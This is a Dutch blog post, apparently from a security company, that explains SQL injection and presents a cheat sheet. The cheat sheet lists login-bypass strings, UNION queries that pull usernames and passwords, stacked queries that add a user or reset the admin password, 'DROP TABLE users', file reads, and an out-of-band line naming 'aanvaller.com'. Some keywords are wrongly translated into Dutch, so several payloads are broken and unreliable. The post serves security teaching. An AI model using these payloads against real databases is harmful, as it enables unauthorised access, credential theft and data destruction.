SQL-injectie spiekbriefje: Bescherm uw database tegen aanvallen

Reading Time: ( Word Count: )

juni 9, 2023
Nextdoorsec-course

In het huidige digitale landschap is gegevensbeveiliging van het grootste belang. Sommige kwetsbaarheden kunnen echter gevoelige informatie blootleggen en één zo’n kwetsbaarheid is SQL-injectie of SQLI. Hier zullen we ons verdiepen in de fijne kneepjes van SQL-injectieaanvallen, begrijpen hoe ze werken en praktische maatregelen verkennen om ze te voorkomen. We bieden ook een uitgebreid SQL-injectie spiekbriefje om je te helpen je database te beschermen.

Wat is SQL-injectie?

SQL-injectie werkblad

Een beveiligingslek in het web stelt aanvallers in staat om de database van een website te manipuleren door kwaadaardige SQL-code te injecteren via invoervelden van gebruikers. De kwetsbaarheid ontstaat wanneer gebruikersinvoer niet correct wordt gevalideerd of gezuiverd voordat deze wordt gebruikt in SQL-queries.

Wanneer een webapplicatie er niet in slaagt om gebruikersinvoer te valideren of te zuiveren, kan een aanvaller deze kwetsbaarheid misbruiken door SQL-opdrachten in te voegen in invoervelden.

Deze geïnjecteerde commando’s kunnen het bedoelde gedrag van de SQL-query veranderen, wat kan leiden tot onbevoegde toegang, het lekken van gegevens of zelfs een volledige compromittering van het systeem.

SQL-injectie kwetsbaarheden

Validatie van invoer

Een veel voorkomende oorzaak van SQL-injectiekwetsbaarheden is inadequate invoervalidatie. Wanneer gebruikersinvoer niet correct wordt gevalideerd, kunnen aanvallers kwaadaardige invoer verzenden die SQL-statements of -fragmenten bevat en zo de bedoelde beperkingen omzeilt.

Foutmeldingen

Foutmeldingen die een webapplicatie retourneert, kunnen aanvallers ook waardevolle informatie verschaffen. Gedetailleerde foutmeldingen die fouten in het databaseschema of de SQL-syntaxis onthullen, kunnen aanvallers helpen bij het opzetten van succesvolle SQL-injectieaanvallen.

Blinde SQL-injectie

Blinde SQL-injectie treedt op wanneer een aanvaller het resultaat van een query niet direct kan zien, maar informatie kan afleiden op basis van het antwoord van de applicatie. Deze techniek wordt vaak gebruikt wanneer aanvallen op basis van fouten of tijd niet uitvoerbaar zijn.

SQL-injectie aanvalstechnieken

SQL-injectie op basis van unie

SQL-injectie op basis van unie is een techniek waarbij een aanvaller de resultaten van meerdere SQL-query’s combineert om informatie uit de database te halen. Een aanvaller kan gegevens ophalen uit verschillende tabellen of kolommen door misbruik te maken van de UNION operator.

Booleaanse SQL-injectie

Booleaanse SQL-injectie is gebaseerd op het manipuleren van het gedrag van de applicatie op basis van de waarheid of onwaarheid van geïnjecteerde SQL-condities. De aanvaller kan informatie afleiden door SQL-query’s te construeren die evalueren of ze waar of onwaar zijn.

Op tijd gebaseerde SQL-injectie

Tijdgebaseerde SQL-injectie maakt gebruik van vertragingen in de respons van de applicatie om informatie over de database af te leiden. Door voorwaardelijke vertragingen te introduceren, kan de aanvaller het waarheidsgehalte van geïnjecteerde SQL-statements meten.

SQL-injectie werkblad

SQL-injectie werkblad
  1. Opmerkingen:
  • ‘ of 1=1 —
  • ‘ of 1=1 /*
  1. Booleaanse injectie:
  • ‘ OF ‘1’=’1′ —
  • ‘ EN ‘1’=’0′ –.
  1. Injectie op basis van Unie:
  • UNION SELECT null, null, database() —
  • UNION SELECT null, tabel_naam, null FROM information_schema.tables —
  1. Foutgebaseerde injectie:
  • OF 1/0 —
  • OR ‘a’=’a’ LIMIT 1 OFFSET 1 –.
  1. Op tijd gebaseerde injectie:
  • ‘ OF SLAAP(5) —
  • ‘ OR (SELECT COUNT(*) FROM sys.objects WHERE type = ‘U’ AND CHARINDEX(‘admin’, name) > 0) > 0 —
  1. UNIE SELECT:
  • UNION SELECT gebruikersnaam, wachtwoord FROM gebruikers —
  • UNION SELECT tabel_naam, kolom_naam FROM informatie_schema.kolommen —
  1. Gestapelde query’s:
  • ‘; INSERT INTO users (gebruikersnaam, wachtwoord) VALUES (‘hacker,’ ‘wachtwoord’); —
  • ‘; UPDATE users SET password=’hacked’ WHERE username=’admin’; —
  1. Out-of-band (OOB) injectie:
  • OF DNS_NAME() = ‘aanvaller.com’.
  • ‘ OF (SELECT LOAD_FILE(‘c:/path/to/file’)) IS NOT NULL —
  1. Booleaanse blinde injectie: Booleaanse voorwaarden misbruiken om informatie af te leiden zonder directe uitvoer.
  • ‘ OF LENGTH(database()) > 1 —
  • ‘ OF (SELECT COUNT(*) FROM users) = 10 —————————————————————————————————————
  1. Op tijd gebaseerde blinde injectie: Vertragingsquery’s om informatie te extraheren op basis van de reactietijd.
  • ‘ OR (SELECT IF(SUBSTRING(database(), 1, 1) = ‘a’, SLEEP(5), 0)) —
  • ‘ OR (SELECT IF((SELECT COUNT(*) FROM users) > 10, SLEEP(5), 0)) –)

SQL-injectie payloads

Om te helpen bij het begrijpen en testen van kwetsbaarheden voor SQL-injectie, zijn hier enkele veelvoorkomende payloads voor SQL-injectie:

  • OR 1=1 —
  • 1″ OF “1’=’1
  • admin’ —
  • 1″; DROP TABLE users; —

Veelgebruikte SQL-injectieopdrachten

  • SELECT: Wordt gebruikt om gegevens op te halen uit de database.
  • INSERT INTO: Gebruikt om gegevens in een tabel in te voegen.
  • UPDATE: Wordt gebruikt om bestaande gegevens te wijzigen.
  • DELETE FROM: Wordt gebruikt om gegevens uit een tabel te verwijderen.

Voorbeelden van SQL-injectie

Eenvoudig voorbeeld van SQL-injectie

Denk aan een aanmeldformulier met velden voor gebruikersnaam en wachtwoord. Als de invoer niet correct wordt gevalideerd, kan een aanvaller ‘ OR ‘1’=’1 als gebruikersnaam invoeren, waardoor het authenticatieproces wordt omzeild en onbevoegde toegang wordt verkregen.

Geavanceerd voorbeeld van SQL-injectie

SQL-injectie werkblad

In complexere scenario’s kunnen aanvallers SQL-injectie gebruiken om gevoelige informatie te extraheren, databaserecords te wijzigen of willekeurige opdrachten op de onderliggende server uit te voeren. Deze aanvallen vereisen een beter begrip van de databasestructuur en query-logica van de applicatie.

Conclusie

Het spiekbriefje voor SQL-injectie biedt een verzameling technieken en payloads die vaak worden gebruikt om kwetsbaarheden in webapplicaties te misbruiken. Het is een nuttige bron om te leren hoe aanvallers SQL-query’s kunnen manipuleren om ongeautoriseerde toegang tot databases te krijgen en gevoelige informatie te extraheren.

Het is echter cruciaal om deze kennis verantwoord en ethisch te benaderen. Ongeoorloofd gebruik van deze technieken kan leiden tot ernstige gevolgen, waaronder juridische repercussies. Het is altijd aan te raden om de juiste autorisatie te verkrijgen en beveiligingstesten uit te voeren binnen een gecontroleerde omgeving.

Als je je zorgen maakt over de beveiliging van webapplicaties en professionele hulp wilt, overweeg dan om contact op te nemen met Nextdoorsec, een gerenommeerd cyberbeveiligingsbedrijf.

Saher

Saher

Author

Saher is a cybersecurity researcher with a passion for innovative technology and AI. She explores the intersection of AI and cybersecurity to stay ahead of evolving threats.

Other interesting articles

“Apple neutraliseert misbruikte kwetsbaarheden: Een uitgebreide update”

Apple heeft beveiligingsverbeteringen geïntroduceerd om 'zero-day'-kwetsbaarheden te neutraliseren die zijn ...

“Ongeziene risico’s: Hoe de gestolen Microsoft-sleutel meer kan ontsluiten dan verwacht”.

De vermeende diefstal van een beveiligingssleutel van Microsoft zou spionnen in Peking in staat hebben gesteld om ...

“De AI-prestaties van ChatGPT: Verder dan de Turingtest of nog niet helemaal?”

ChatGPT, een kunstmatige intelligentie chatbot van OpenAI, heeft door zijn buitengewone capaciteiten veel stof ...

“Verliest Threads zijn draad? De Twitter rivaal van Instagram nader bekeken”.

Een artikel van de Wall Street Journal van vrijdag waarschuwde dat Instagram's nieuwe concurrent voor Twitter, ...
0 reacties

Een reactie versturen

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *